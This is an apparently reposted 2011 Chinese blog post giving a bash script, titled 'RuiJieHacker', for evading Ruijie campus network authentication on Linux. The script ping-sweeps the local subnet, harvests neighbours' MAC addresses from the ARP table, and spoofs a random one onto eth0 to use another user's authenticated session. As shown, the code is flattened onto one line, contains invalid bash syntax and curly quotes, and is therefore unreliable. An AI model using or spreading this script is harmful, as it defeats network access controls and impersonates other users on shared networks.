linux 规避锐捷认证(版本三) Home » 编程开发 » linux 规避锐捷认证(版本三) linux 规避锐捷认证(版本三) Luo Weifeng 2011-4-25 http://blog.csdn.net/luoweifeng1989/archive/2011/04/25/6361800.aspx #! /usr/bin/sh############################################################### Project Name : RuiJieHacker # Author: luoweifeng1989 # Date: 2011-4-23 # All Rights Reserved. # Usage: bash ./HackerV3.0.sh 172.29.132.1##############################################################declare -a macs##############################################################ipdomain=${$1:0:((`expr length $1`-1))}##############################################################for (( i = 2; i < 255 ; i ++ ))do sudo ping -c 1 -qf -w 0.01 ${ipdomain}$i > /dev/null 2>&1done##############################################################macstmp=`arp -a | awk ‘/ether/{ print $4}’ -`##############################################################sudo /sbin/ifconfig eth0 down##############################################################for mac in $macstmp domacs[$j]=$mac(( j++ ))done##############################################################(( random=$RANDOM % ${#macs[@]} ))sudo /sbin/ifconfig eth0 hw ether ${macs[$random]}##############################################################sudo /sbin/ifconfig eth0 up 真正的爱,应该超越生命的长度、心灵的宽度、灵魂的深度